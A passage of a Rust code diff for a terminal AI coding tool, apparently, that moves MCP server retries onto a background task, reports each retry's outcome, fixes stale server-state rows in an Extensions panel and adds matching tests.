/// settled retry shows without waiting for the next MCP generation.
|
||||
fn refresh_open_extensions(app: &mut App) {
|
||||
if app.view_stack.extensions_is_top() {
|
||||
let snapshot = crate::tui::views::extensions::ExtensionsSnapshot::from_app(app);
|
||||
app.view_stack.refresh_extensions(snapshot);
|
||||
}
|
||||
app.needs_redraw = true;
|
||||
}
|
||||
|
||||
/// Reconnect one MCP server through the engine-owned pool without awaiting it
|
||||
/// on the UI loop. While a turn runs, the op waits in the engine mailbox and
|
||||
/// runs as soon as the turn ends — the person asked once, so they are not
|
||||
/// told to ask again.
|
||||
fn start_mcp_retry(app: &mut App, engine_handle: &EngineHandle, name: String) {
|
||||
use crate::tui::app::PendingMcpRetry;
|
||||
|
||||
let already = app
|
||||
.mcp_retries
|
||||
.iter()
|
||||
.find(|pending| pending.server == name);
|
||||
let queued = already.map_or_else(|| mcp_engine_busy(app), |pending| pending.queued);
|
||||
if already.is_none() {
|
||||
tracing::info!(target: "mcp", server = %name, queued, "MCP server retry requested");
|
||||
let result = Arc::new(std::sync::Mutex::new(None));
|
||||
app.mcp_retries.push(PendingMcpRetry {
|
||||
server: name.clone(),
|
||||
queued,
|
||||
result: Arc::clone(&result),
|
||||
});
|
||||
let handle = engine_handle.clone();
|
||||
let server = name.clone();
|
||||
tokio::spawn(async move {
|
||||
let outcome = handle
|
||||
.retry_mcp_server(server)
|
||||
.await
|
||||
.map_err(|error| crate::mcp::format_mcp_error_for_display(&error));
|
||||
if let Ok(mut cell) = result.lock() {
|
||||
*cell = Some(outcome);
|
||||
}
|
||||
});
|
||||
}
|
||||
let message = if queued {
|
||||
app.tr(MessageId::McpRetryDeferredWhileTurnRuns)
|
||||
} else {
|
||||
app.tr(MessageId::McpRetryStarted)
|
||||
}
|
||||
.replace("{server}", &name);
|
||||
report_mcp_login(app, message, StatusToastLevel::Info);
|
||||
refresh_open_extensions(app);
|
||||
}
|
||||
|
||||
/// Deliver every settled `/mcp retry`: apply its snapshot and say what
|
||||
/// happened to that server — connected, needs a login, or why it failed.
|
||||
pub(crate) fn poll_mcp_retries(app: &mut App) {
|
||||
if app.mcp_retries.is_empty() {
|
||||
return;
|
||||
}
|
||||
let mut settled = Vec::new();
|
||||
app.mcp_retries.retain(|pending| {
|
||||
match pending
|
||||
.result
|
||||
.try_lock()
|
||||
.ok()
|
||||
.and_then(|mut cell| cell.take())
|
||||
{
|
||||
Some(outcome) => {
|
||||
settled.push((pending.server.clone(), outcome));
|
||||
false
|
||||
}
|
||||
None => true,
|
||||
}
|
||||
});
|
||||
if settled.is_empty() {
|
||||
return;
|
||||
}
|
||||
for (server, outcome) in settled {
|
||||
let (message, level) = match outcome {
|
||||
Ok(update) => {
|
||||
let receipt = mcp_retry_receipt(app, &server, &update.snapshot);
|
||||
apply_mcp_session_boot_event(
|
||||
app,
|
||||
update.generation,
|
||||
update.snapshot,
|
||||
Vec::new(),
|
||||
true,
|
||||
);
|
||||
receipt
|
||||
}
|
||||
Err(error) => {
|
||||
tracing::warn!(target: "mcp", server = %server, error = %error, "MCP server retry could not run");
|
||||
(
|
||||
app.tr(MessageId::McpRetryFailed)
|
||||
.replace("{server}", &server)
|
||||
.replace("{error}", &error),
|
||||
StatusToastLevel::Error,
|
||||
)
|
||||
}
|
||||
};
|
||||
report_mcp_login(app, message, level);
|
||||
}
|
||||
refresh_open_extensions(app);
|
||||
}
|
||||
|
||||
/// The one-line outcome of a retry for `server`, read from the snapshot the
|
||||
/// engine returned for it.
|
||||
fn mcp_retry_receipt(
|
||||
app: &App,
|
||||
server: &str,
|
||||
snapshot: &crate::mcp::McpManagerSnapshot,
|
||||
) -> (String, StatusToastLevel) {
|
||||
let Some(observed) = snapshot.servers.iter().find(|row| row.name == server) else {
|
||||
return (
|
||||
app.tr(MessageId::McpRetryFailed)
|
||||
.replace("{server}", server)
|
||||
.replace(
|
||||
"{error}",
|
||||
&app.tr(MessageId::McpLoginServerNotFound)
|
||||
.replace("{server}", server),
|
||||
),
|
||||
StatusToastLevel::Error,
|
||||
);
|
||||
};
|
||||
if observed.connected {
|
||||
(
|
||||
app.tr(MessageId::McpRetryConnected)
|
||||
.replace("{server}", server)
|
||||
.replace("{tools}", &observed.tools.len().to_string()),
|
||||
StatusToastLevel::Success,
|
||||
)
|
||||
} else if observed.auth_required {
|
||||
(
|
||||
app.tr(MessageId::McpRetryNeedsLogin)
|
||||
.replace("{server}", server)
|
||||
.replace(
|
||||
"{command}",
|
||||
&crate::mcp::McpRecoveryKind::Reauth.slash_command(server),
|
||||
),
|
||||
StatusToastLevel::Warning,
|
||||
)
|
||||
} else {
|
||||
let error = observed
|
||||
.error
|
||||
.clone()
|
||||
.unwrap_or_else(|| app.tr(MessageId::ExtensionsStateDisconnected).into_owned());
|
||||
(
|
||||
app.tr(MessageId::McpRetryFailed)
|
||||
.replace("{server}", server)
|
||||
.replace("{error}", &error),
|
||||
StatusToastLevel::Error,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) async fn handle_mcp_ui_action(
|
||||
app: &mut App,
|
||||
engine_handle: &EngineHandle,
|
||||
@@ -730,10 +894,14 @@ pub(crate) async fn handle_mcp_ui_action(
|
||||
add_mcp_message(app, app.tr(MessageId::McpReloadAlreadyRunning).into_owned());
|
||||
return;
|
||||
}
|
||||
let retry_name = match &action {
|
||||
crate::tui::app::McpUiAction::Retry { name } => Some(name.clone()),
|
||||
_ => None,
|
||||
};
|
||||
// A retry never runs on this path: it is an engine op, and awaiting it
|
||||
// here parked input behind the connect (or behind a running turn,
|
||||
// #6159). It goes to the engine from a background task instead, so a
|
||||
// running turn simply queues it; `poll_mcp_retries` reports the outcome.
|
||||
if let crate::tui::app::McpUiAction::Retry { name } = &action {
|
||||
start_mcp_retry(app, engine_handle, name.clone());
|
||||
return;
|
||||
}
|
||||
let snapshot_live_pool = matches!(&action, crate::tui::app::McpUiAction::Show);
|
||||
let discover = mcp_ui_action_refreshes_discovery(&action);
|
||||
|
||||
@@ -883,6 +1051,7 @@ pub(crate) async fn handle_mcp_ui_action(
|
||||
}
|
||||
}
|
||||
crate::tui::app::McpUiAction::Validate | crate::tui::app::McpUiAction::Reload => Ok(()),
|
||||
// Dispatched before this match.
|
||||
crate::tui::app::McpUiAction::Retry { .. } => Ok(()),
|
||||
};
|
||||
|
||||
@@ -906,12 +1075,8 @@ pub(crate) async fn handle_mcp_ui_action(
|
||||
// known snapshot and say so; mutations name the deferral instead of
|
||||
// freezing. `reject_inline_inference_while_runtime_chat_owns_run`
|
||||
// (apply.rs) is the same fail-closed rule for inline inference.
|
||||
let engine_busy = app.is_loading
|
||||
|| app.dispatch_in_flight
|
||||
|| matches!(app.runtime_turn_status.as_deref(), Some("in_progress"))
|
||||
|| app.is_compacting
|
||||
|| app.manual_compaction_queued;
|
||||
if engine_busy && (retry_name.is_some() || snapshot_live_pool || is_reload || changed) {
|
||||
let engine_busy = mcp_engine_busy(app);
|
||||
if engine_busy && (snapshot_live_pool || is_reload || changed) {
|
||||
if snapshot_live_pool {
|
||||
match app.mcp_snapshot.clone() {
|
||||
Some(snapshot) => {
|
||||
@@ -933,12 +1098,6 @@ pub(crate) async fn handle_mcp_ui_action(
|
||||
.into_owned(),
|
||||
),
|
||||
}
|
||||
} else if let Some(name) = retry_name.as_deref() {
|
||||
add_mcp_message(
|
||||
app,
|
||||
app.tr(MessageId::McpRetryDeferredWhileTurnRuns)
|
||||
.replace("{server}", name),
|
||||
);
|
||||
} else {
|
||||
add_mcp_message(
|
||||
app,
|
||||
@@ -955,12 +1114,7 @@ pub(crate) async fn handle_mcp_ui_action(
|
||||
// second, easy-to-miss reload step. The standalone reload action remains
|
||||
// the retry/compatibility path for externally edited configuration.
|
||||
let rebuild_live_pool = is_reload || changed;
|
||||
let snapshot_result = if let Some(name) = retry_name.as_deref() {
|
||||
engine_handle
|
||||
.retry_mcp_server(name)
|
||||
.await
|
||||
.map(|update| (update.snapshot, Some(update.generation)))
|
||||
} else if snapshot_live_pool {
|
||||
let snapshot_result = if snapshot_live_pool {
|
||||
engine_handle
|
||||
.bootstrap_mcp()
|
||||
.await
|
||||
@@ -1046,10 +1200,6 @@ pub(crate) async fn handle_mcp_ui_action(
|
||||
app.hotbar_actions.replace_mcp_tools(Some(&snapshot));
|
||||
open_mcp_extensions(app);
|
||||
}
|
||||
Err(err) if retry_name.is_some() => add_mcp_message(
|
||||
app,
|
||||
format!("MCP server retry failed; the live tool pool is unchanged: {err}"),
|
||||
),
|
||||
Err(err) if rebuild_live_pool => add_mcp_message(
|
||||
app,
|
||||
format!("MCP reload failed; the live tool pool is unchanged: {err}"),
|
||||
|
||||
+209
-16
@@ -299,29 +299,32 @@ fn workbar_rows_sit_under_the_status_row_one_per_workflow() {
|
||||
"the status row keeps Esc and names the manage key: {:?}",
|
||||
rows[status]
|
||||
);
|
||||
// The workbar sits between two rules: rule, one row per run, rule.
|
||||
let rule = "─".repeat(usize::from(width));
|
||||
assert_eq!(rows[status + 1], rule, "rule above the workbar");
|
||||
// One row per run directly under the status row, with no rules of its
|
||||
// own: rules above and below stacked with the work surface's divider.
|
||||
assert!(
|
||||
rows[status + 2].contains("Audit the parser") && rows[status + 2].contains("1/3 so far"),
|
||||
rows[status + 1].contains("Audit the parser") && rows[status + 1].contains("1/3 done"),
|
||||
"first workbar row: {:?}",
|
||||
rows[status + 1]
|
||||
);
|
||||
assert!(
|
||||
rows[status + 2].contains("Port the fixtures") && rows[status + 2].contains("0/3 done"),
|
||||
"second workbar row: {:?}",
|
||||
rows[status + 2]
|
||||
);
|
||||
assert!(
|
||||
rows[status + 3].contains("Port the fixtures") && rows[status + 3].contains("0/3 so far"),
|
||||
"second workbar row: {:?}",
|
||||
rows[status + 3]
|
||||
!rows[status..status + 3].iter().any(|row| row.contains('─')),
|
||||
"the workbar draws no rules: {:?}",
|
||||
&rows[status..status + 3]
|
||||
);
|
||||
assert_eq!(rows[status + 4], rule, "rule below the workbar");
|
||||
assert!(
|
||||
rows[..usize::from(composer.y)]
|
||||
.iter()
|
||||
.all(|row| !row.contains("so far")),
|
||||
.all(|row| !row.contains("1/3 done")),
|
||||
"progress stays out of the transcript"
|
||||
);
|
||||
assert_eq!(
|
||||
app.viewport.last_workbar_area.map(|area| area.height),
|
||||
Some(4)
|
||||
Some(2)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -2880,8 +2883,86 @@ async fn mcp_mutations_while_turn_running_defer_the_live_pool_refresh() {
|
||||
)));
|
||||
}
|
||||
|
||||
fn mcp_retry_snapshot_row(
|
||||
name: &str,
|
||||
connected: bool,
|
||||
error: Option<&str>,
|
||||
auth_required: bool,
|
||||
tools: usize,
|
||||
) -> crate::mcp::McpServerSnapshot {
|
||||
crate::mcp::McpServerSnapshot {
|
||||
name: name.into(),
|
||||
enabled: true,
|
||||
required: false,
|
||||
transport: "stdio".into(),
|
||||
command_or_url: "fixture-mcp".into(),
|
||||
connect_timeout: 5,
|
||||
execute_timeout: 5,
|
||||
read_timeout: 5,
|
||||
connected,
|
||||
error: error.map(str::to_string),
|
||||
auth_required,
|
||||
capability_metadata: if connected {
|
||||
crate::mcp::McpServerCapabilityMetadata::LegacyFallback
|
||||
} else {
|
||||
crate::mcp::McpServerCapabilityMetadata::NotObserved
|
||||
},
|
||||
tools: (0..tools)
|
||||
.map(|index| crate::mcp::McpDiscoveredItem {
|
||||
name: format!("tool{index}"),
|
||||
model_name: format!("mcp_{name}_tool{index}"),
|
||||
description: None,
|
||||
})
|
||||
.collect(),
|
||||
resources: Vec::new(),
|
||||
prompts: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Answer the next `/mcp retry` op the background task sends, then poll the
|
||||
/// UI until the outcome is delivered.
|
||||
async fn answer_mcp_retry(
|
||||
app: &mut App,
|
||||
mock: &mut crate::core::engine::MockEngineHandle,
|
||||
expected: &str,
|
||||
row: crate::mcp::McpServerSnapshot,
|
||||
) {
|
||||
let op = tokio::time::timeout(Duration::from_secs(2), mock.rx_op.recv())
|
||||
.await
|
||||
.expect("the retry op reaches the engine mailbox")
|
||||
.expect("engine mailbox open");
|
||||
let Op::RetryMcpServer { name, tx } = op else {
|
||||
panic!("expected RetryMcpServer");
|
||||
};
|
||||
assert_eq!(name, expected);
|
||||
let sender = tx.lock().unwrap().take().expect("retry reply sender");
|
||||
sender
|
||||
.send(Ok(crate::core::ops::McpManagerUpdate {
|
||||
snapshot: crate::mcp::McpManagerSnapshot {
|
||||
config_path: PathBuf::from("mcp.json"),
|
||||
config_exists: true,
|
||||
reload_required: false,
|
||||
servers: vec![row],
|
||||
},
|
||||
generation: app.mcp_snapshot_generation + 1,
|
||||
}))
|
||||
.unwrap();
|
||||
for _ in 0..200 {
|
||||
poll_mcp_retries(app);
|
||||
if app.mcp_retries.is_empty() {
|
||||
return;
|
||||
}
|
||||
tokio::time::sleep(Duration::from_millis(5)).await;
|
||||
}
|
||||
panic!("the retry outcome was never delivered");
|
||||
}
|
||||
|
||||
/// Founder run: Enter on `reconnect` while a turn ran printed "run /mcp
|
||||
/// retry linear again after the turn finishes" and did nothing else. The
|
||||
/// retry is now queued behind the turn (the engine mailbox is the queue), the
|
||||
/// panel says so, and the outcome is reported when it lands.
|
||||
#[tokio::test]
|
||||
async fn mcp_retry_while_turn_running_names_the_deferral_and_never_awaits() {
|
||||
async fn mcp_retry_while_turn_running_is_queued_then_reports_its_outcome() {
|
||||
use crate::tui::app::McpUiAction;
|
||||
|
||||
let mut app = create_test_app();
|
||||
@@ -2900,11 +2981,123 @@ async fn mcp_retry_while_turn_running_names_the_deferral_and_never_awaits() {
|
||||
)
|
||||
.await
|
||||
.expect("retry must not park the UI loop behind the running turn (#6159)");
|
||||
assert!(mock.rx_op.try_recv().is_err());
|
||||
assert!(app.history.iter().any(|cell| matches!(
|
||||
cell,
|
||||
HistoryCell::System { content } if content.contains("/mcp retry flaky")
|
||||
)));
|
||||
assert_eq!(app.mcp_retries.len(), 1);
|
||||
assert!(app.mcp_retries[0].queued);
|
||||
let notice = app.status_toasts.back().unwrap().text.clone();
|
||||
assert!(
|
||||
notice.contains("flaky will reconnect as soon as it finishes"),
|
||||
"{notice}"
|
||||
);
|
||||
assert!(
|
||||
!notice.contains("again"),
|
||||
"the person asked once; they are not told to ask again: {notice}"
|
||||
);
|
||||
|
||||
// A second press while it is pending does not stack a second op.
|
||||
handle_mcp_ui_action(
|
||||
&mut app,
|
||||
&mock.handle,
|
||||
&Config::default(),
|
||||
McpUiAction::Retry {
|
||||
name: "flaky".to_string(),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
assert_eq!(app.mcp_retries.len(), 1);
|
||||
|
||||
answer_mcp_retry(
|
||||
&mut app,
|
||||
&mut mock,
|
||||
"flaky",
|
||||
mcp_retry_snapshot_row(
|
||||
"flaky",
|
||||
false,
|
||||
Some("MCP server 'flaky' rejected initialize (command `uvx`): -32602"),
|
||||
false,
|
||||
0,
|
||||
),
|
||||
)
|
||||
.await;
|
||||
assert!(
|
||||
mock.rx_op.try_recv().is_err(),
|
||||
"exactly one retry op for one pending row"
|
||||
);
|
||||
let receipt = app.status_toasts.back().unwrap();
|
||||
assert_eq!(receipt.level, StatusToastLevel::Error);
|
||||
assert!(
|
||||
receipt
|
||||
.text
|
||||
.contains("flaky did not connect: MCP server 'flaky' rejected initialize"),
|
||||
"{}",
|
||||
receipt.text
|
||||
);
|
||||
let observed = &app.mcp_snapshot.as_ref().unwrap().servers[0];
|
||||
assert!(observed.error.is_some(), "the panel reads the same outcome");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn mcp_retry_reports_connected_and_needs_login_outcomes() {
|
||||
use crate::tui::app::McpUiAction;
|
||||
|
||||
let mut app = create_test_app();
|
||||
let mut mock = mock_engine_handle();
|
||||
handle_mcp_ui_action(
|
||||
&mut app,
|
||||
&mock.handle,
|
||||
&Config::default(),
|
||||
McpUiAction::Retry {
|
||||
name: "github".to_string(),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
assert!(!app.mcp_retries[0].queued, "an idle engine connects now");
|
||||
assert!(
|
||||
app.status_toasts
|
||||
.back()
|
||||
.unwrap()
|
||||
.text
|
||||
.contains("Connecting github")
|
||||
);
|
||||
answer_mcp_retry(
|
||||
&mut app,
|
||||
&mut mock,
|
||||
"github",
|
||||
mcp_retry_snapshot_row("github", true, None, false, 3),
|
||||
)
|
||||
.await;
|
||||
let receipt = app.status_toasts.back().unwrap();
|
||||
assert_eq!(receipt.level, StatusToastLevel::Success);
|
||||
assert!(
|
||||
receipt.text.contains("github connected: 3 tool(s)"),
|
||||
"{}",
|
||||
receipt.text
|
||||
);
|
||||
|
||||
handle_mcp_ui_action(
|
||||
&mut app,
|
||||
&mock.handle,
|
||||
&Config::default(),
|
||||
McpUiAction::Retry {
|
||||
name: "stripe".to_string(),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
answer_mcp_retry(
|
||||
&mut app,
|
||||
&mut mock,
|
||||
"stripe",
|
||||
mcp_retry_snapshot_row("stripe", false, Some("HTTP 401 Unauthorized"), true, 0),
|
||||
)
|
||||
.await;
|
||||
let receipt = app.status_toasts.back().unwrap();
|
||||
assert_eq!(receipt.level, StatusToastLevel::Warning);
|
||||
assert!(
|
||||
receipt
|
||||
.text
|
||||
.contains("stripe needs a login: run /mcp login stripe"),
|
||||
"{}",
|
||||
receipt.text
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
|
||||
@@ -907,17 +907,27 @@ async fn picker_adopts_existing_empty_unheld_store() -> anyhow::Result<()> {
|
||||
assert_eq!(durable.messages, saved.messages);
|
||||
// #6144 P1a: the store the conversation left is set aside where it was
|
||||
// abandoned, not left on disk with nothing pointing at it. The switch
|
||||
// hands that off the UI runtime, so wait for it.
|
||||
// hands that off the UI runtime. Moving the store precedes writing its
|
||||
// manifest, so wait for both rather than treating the move as completion.
|
||||
let abandoned = root.path().join("sessions/previous/runtime");
|
||||
let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
|
||||
while abandoned.exists() && std::time::Instant::now() < deadline {
|
||||
let set_aside = loop {
|
||||
let manifest = std::fs::read_dir(root.path().join("sessions/.set-aside"))
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.flatten()
|
||||
.map(|run| {
|
||||
std::fs::read_to_string(run.path().join("MANIFEST.jsonl")).unwrap_or_default()
|
||||
})
|
||||
.collect::<String>();
|
||||
if (!abandoned.exists() && manifest.contains("previous"))
|
||||
|| std::time::Instant::now() >= deadline
|
||||
{
|
||||
break manifest;
|
||||
}
|
||||
tokio::time::sleep(std::time::Duration::from_millis(20)).await;
|
||||
}
|
||||
};
|
||||
assert!(!abandoned.exists());
|
||||
let set_aside = std::fs::read_dir(root.path().join("sessions/.set-aside"))?
|
||||
.flatten()
|
||||
.map(|run| std::fs::read_to_string(run.path().join("MANIFEST.jsonl")).unwrap_or_default())
|
||||
.collect::<String>();
|
||||
assert!(set_aside.contains("previous"), "{set_aside}");
|
||||
tasks.shutdown_and_wait().await?;
|
||||
Ok(())
|
||||
|
||||
@@ -2703,6 +2703,32 @@ mod launch_card_tests {
|
||||
assert!(app.input.is_empty());
|
||||
}
|
||||
|
||||
/// The migration notice ends with the reassurance that nothing applies
|
||||
/// unapproved; a truncated notice drops exactly that half. The English
|
||||
/// line must fit the card measure whole at a wide terminal.
|
||||
#[test]
|
||||
fn claude_notice_is_never_truncated_on_a_wide_terminal() {
|
||||
let notice = codewhale_localization::tr(
|
||||
codewhale_localization::Locale::En,
|
||||
codewhale_localization::MessageId::LaunchNoticeClaude,
|
||||
);
|
||||
assert!(
|
||||
text_display_width(¬ice) <= LAUNCH_CARD_MEASURE,
|
||||
"notice is {} cells; the card lane is {LAUNCH_CARD_MEASURE}: {notice:?}",
|
||||
text_display_width(¬ice),
|
||||
);
|
||||
let mut app = app_with_recent(&["one"], 1);
|
||||
app.launch.claude_code_detected = true;
|
||||
let state = launch_empty_state(&app, Rect::new(0, 0, 160, 40));
|
||||
assert!(
|
||||
state
|
||||
.lines
|
||||
.iter()
|
||||
.any(|line| flatten(line).contains(notice.as_ref())),
|
||||
"the full notice must paint at 160 columns",
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_hitbox_points_at_the_row_that_painted() {
|
||||
let app = app_with_recent(&["one", "two", "three"], 9);
|
||||
|
||||
@@ -20,6 +20,7 @@ use ratatui::{
|
||||
text::{Line, Span},
|
||||
widgets::{Paragraph, Widget, Wrap},
|
||||
};
|
||||
use unicode_width::UnicodeWidthStr;
|
||||
|
||||
use super::{
|
||||
CommandPaletteAction, ModalKind, ModalView, ViewAction, ViewEvent, render_modal_footer,
|
||||
@@ -1249,21 +1250,43 @@ fn mcp_model(app: &App, locale: Locale) -> ExtensionsTabModel {
|
||||
let config = configured
|
||||
.as_ref()
|
||||
.and_then(|configured| configured.servers.get(&name));
|
||||
let enabled = observed
|
||||
.map(|server| server.enabled)
|
||||
.or_else(|| config.map(crate::mcp::McpServerConfig::is_enabled))
|
||||
// The config file just read is the authority for on/off. The
|
||||
// snapshot is the live pool as of its last event, and a server
|
||||
// switched off (or on) since then used to keep its stale live row
|
||||
// — a disabled server offered "reconnect" instead of "enable".
|
||||
// When the two disagree, the observation belongs to a config the
|
||||
// user already changed, so it is not shown as this row's state.
|
||||
let config_enabled = config.map(crate::mcp::McpServerConfig::is_enabled);
|
||||
let stale = observed
|
||||
.zip(config_enabled)
|
||||
.is_some_and(|(server, enabled)| server.enabled != enabled);
|
||||
let observed = observed.filter(|_| !stale);
|
||||
let enabled = config_enabled
|
||||
.or_else(|| observed.map(|server| server.enabled))
|
||||
.unwrap_or(true);
|
||||
// A `/mcp retry` the person already asked for: connecting now, or
|
||||
// queued behind the running turn.
|
||||
let retry = enabled
|
||||
.then(|| {
|
||||
app.mcp_retries
|
||||
.iter()
|
||||
.find(|pending| pending.server == name)
|
||||
})
|
||||
.flatten();
|
||||
// `connecting` is the engine's real in-flight set (#6033): under
|
||||
// lazy boot a configured-but-unstarted server reads "configured",
|
||||
// lazy boot a configured-but-unstarted server reads "not started",
|
||||
// never "connecting".
|
||||
let initializing = enabled
|
||||
&& app
|
||||
.mcp_connecting
|
||||
.iter()
|
||||
.any(|connecting| connecting == &name)
|
||||
&& observed.is_none_or(|server| !server.connected && server.error.is_none());
|
||||
let initializing = retry.is_some()
|
||||
|| (enabled
|
||||
&& app
|
||||
.mcp_connecting
|
||||
.iter()
|
||||
.any(|connecting| connecting == &name)
|
||||
&& observed.is_none_or(|server| !server.connected && server.error.is_none()));
|
||||
let state = if !enabled {
|
||||
tr(locale, MessageId::HotbarSetupStatusDisabled)
|
||||
} else if retry.is_some_and(|pending| pending.queued) {
|
||||
tr(locale, MessageId::AutomationRunStatusQueued)
|
||||
} else if initializing {
|
||||
Cow::Borrowed("connecting")
|
||||
} else if observed.is_some_and(|server| server.connected) {
|
||||
@@ -1272,12 +1295,20 @@ fn mcp_model(app: &App, locale: Locale) -> ExtensionsTabModel {
|
||||
Cow::Owned(crate::tui::session_boot::mcp_auth_required_state_label())
|
||||
} else if observed.is_some_and(|server| server.error.is_some()) {
|
||||
tr(locale, MessageId::ExtensionsStateError)
|
||||
} else if stale {
|
||||
// Switched on in the file, still off in the live pool.
|
||||
tr(locale, MessageId::SetupStatusNotStarted)
|
||||
} else if observed.is_none() {
|
||||
tr(locale, MessageId::ExtensionsStateNotInspected)
|
||||
} else if observed.is_some_and(|server| !server.started()) {
|
||||
tr(locale, MessageId::SetupStatusNotStarted)
|
||||
} else {
|
||||
tr(locale, MessageId::PickerActionConfigured)
|
||||
tr(locale, MessageId::ExtensionsStateDisconnected)
|
||||
}
|
||||
.into_owned();
|
||||
let not_started = enabled
|
||||
&& !initializing
|
||||
&& (stale || observed.is_none_or(|server| !server.started()));
|
||||
let oauth_capable = config.is_some_and(crate::mcp::mcp_server_oauth_capable);
|
||||
let recovery = match observed {
|
||||
Some(server) => server.recovery_kind(oauth_capable),
|
||||
@@ -1288,6 +1319,14 @@ fn mcp_model(app: &App, locale: Locale) -> ExtensionsTabModel {
|
||||
(true, _) => ExtensionAction::Status {
|
||||
label: state.clone(),
|
||||
},
|
||||
// The live pool still holds the pre-edit config, and a
|
||||
// single-server retry deliberately never re-reads it; only a
|
||||
// reload brings the newly enabled server into the pool.
|
||||
(false, Some(_)) if stale && enabled => ExtensionAction::Command {
|
||||
label: tr(locale, MessageId::ExtensionsActionConnect).into_owned(),
|
||||
command: "/mcp reload".into(),
|
||||
disposition: RowActionDisposition::InPlace,
|
||||
},
|
||||
// Healthy. A row that needs nothing offers nothing — the
|
||||
// actionable rows are the ones worth finding in a list of 20.
|
||||
(false, None) => ExtensionAction::Status {
|
||||
@@ -1366,6 +1405,8 @@ fn mcp_model(app: &App, locale: Locale) -> ExtensionsTabModel {
|
||||
id: name.clone(),
|
||||
tone: match (enabled, initializing, recovery) {
|
||||
(false, ..) => ExtensionTone::Idle,
|
||||
// Lazy boot left it for later: nothing is wrong with it.
|
||||
_ if not_started => ExtensionTone::Idle,
|
||||
(true, true, _) => ExtensionTone::Attention,
|
||||
(true, false, None) => ExtensionTone::Ready,
|
||||
// A server that reports an error is broken; one that only
|
||||
@@ -1483,9 +1524,15 @@ fn mcp_item_needs_login(item: &ExtensionItem) -> bool {
|
||||
/// sorts below.
|
||||
fn mcp_groups(locale: Locale, items: Vec<ExtensionItem>) -> Vec<ExtensionGroup> {
|
||||
let (login, rest): (Vec<_>, Vec<_>) = items.into_iter().partition(mcp_item_needs_login);
|
||||
let (attention, healthy): (Vec<_>, Vec<_>) = rest
|
||||
.into_iter()
|
||||
.partition(|item| item.action.as_ref().is_some_and(|a| a.command().is_some()));
|
||||
// "Needs attention" is for rows that are broken or waiting on a person.
|
||||
// A switched-off server or one lazy boot has not started yet keeps its
|
||||
// `enable` / `connect` action but sorts with the rest: listing eight
|
||||
// servers as needing attention when six were simply idle buried the two
|
||||
// that were actually failing.
|
||||
let (attention, healthy): (Vec<_>, Vec<_>) = rest.into_iter().partition(|item| {
|
||||
matches!(item.tone, ExtensionTone::Attention | ExtensionTone::Failure)
|
||||
&& item.action.as_ref().is_some_and(|a| a.command().is_some())
|
||||
});
|
||||
[
|
||||
(
|
||||
MCP_LOGIN_GROUP_ID,
|
||||
@@ -2140,7 +2187,13 @@ impl ModalView for ExtensionsView {
|
||||
} else {
|
||||
tab.label(self.locale)
|
||||
};
|
||||
let width = (label.chars().count() as u16 + 2).min(available.saturating_sub(x));
|
||||
// Display cells, not chars: a CJK label is two cells per char,
|
||||
// and the painted tab and its hit rect share this one width.
|
||||
let label_cells =
|
||||
u16::try_from(UnicodeWidthStr::width(label.as_str())).unwrap_or(u16::MAX);
|
||||
let width = label_cells
|
||||
.saturating_add(2)
|
||||
.min(available.saturating_sub(x));
|
||||
if width == 0 {
|
||||
break;
|
||||
}
|
||||
@@ -2438,6 +2491,154 @@ mod tests {
|
||||
assert!(view.pending_remove.is_none());
|
||||
}
|
||||
|
||||
fn observed_row(
|
||||
name: &str,
|
||||
enabled: bool,
|
||||
connected: bool,
|
||||
error: Option<&str>,
|
||||
auth_required: bool,
|
||||
) -> crate::mcp::McpServerSnapshot {
|
||||
crate::mcp::McpServerSnapshot {
|
||||
name: name.into(),
|
||||
enabled,
|
||||
required: false,
|
||||
transport: "stdio".into(),
|
||||
command_or_url: format!("{name}-mcp"),
|
||||
connect_timeout: 5,
|
||||
execute_timeout: 5,
|
||||
read_timeout: 5,
|
||||
connected,
|
||||
error: error.map(str::to_string),
|
||||
auth_required,
|
||||
capability_metadata: if connected {
|
||||
crate::mcp::McpServerCapabilityMetadata::LegacyFallback
|
||||
} else {
|
||||
crate::mcp::McpServerCapabilityMetadata::NotObserved
|
||||
},
|
||||
tools: Vec::new(),
|
||||
resources: Vec::new(),
|
||||
prompts: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// The founder's Extensions > MCP screen listed eight servers under
|
||||
/// "Needs attention", six of them "reconnect · configured". Each row now
|
||||
/// reads the state the engine's pool actually has, offers the action
|
||||
/// that state needs, and only broken or waiting rows need attention.
|
||||
#[test]
|
||||
fn mcp_rows_show_real_state_with_the_action_that_state_needs() {
|
||||
let _env = crate::test_support::lock_test_env();
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let _home = crate::test_support::EnvVarGuard::set("CODEWHALE_HOME", root.path());
|
||||
let registry = crate::plugins::PluginDiscoveryContext::capture_pre_dotenv()
|
||||
.registry_for_workspace(root.path());
|
||||
let mut app = App::new_with_plugin_registry(
|
||||
crate::test_support::test_tui_options(root.path()),
|
||||
&crate::config::Config::default(),
|
||||
registry,
|
||||
);
|
||||
app.mcp_config_path = root.path().join("mcp.json");
|
||||
std::fs::write(
|
||||
&app.mcp_config_path,
|
||||
r#"{"servers":{
|
||||
"github":{"command":"github-mcp"},
|
||||
"playwright":{"command":"npx"},
|
||||
"stripe":{"url":"https://mcp.stripe.com"},
|
||||
"aws":{"command":"uvx"},
|
||||
"linear":{"url":"https://mcp.linear.app/mcp","disabled":true,"enabled":false},
|
||||
"chrome-devtools":{"command":"npx"}
|
||||
}}"#,
|
||||
)
|
||||
.unwrap();
|
||||
app.mcp_snapshot = Some(crate::mcp::McpManagerSnapshot {
|
||||
config_path: app.mcp_config_path.clone(),
|
||||
config_exists: true,
|
||||
reload_required: false,
|
||||
servers: vec![
|
||||
observed_row("github", true, true, None, false),
|
||||
// Lazy boot never started it.
|
||||
observed_row("playwright", true, false, None, false),
|
||||
observed_row("stripe", true, false, Some("HTTP 401 Unauthorized"), true),
|
||||
observed_row(
|
||||
"aws",
|
||||
true,
|
||||
false,
|
||||
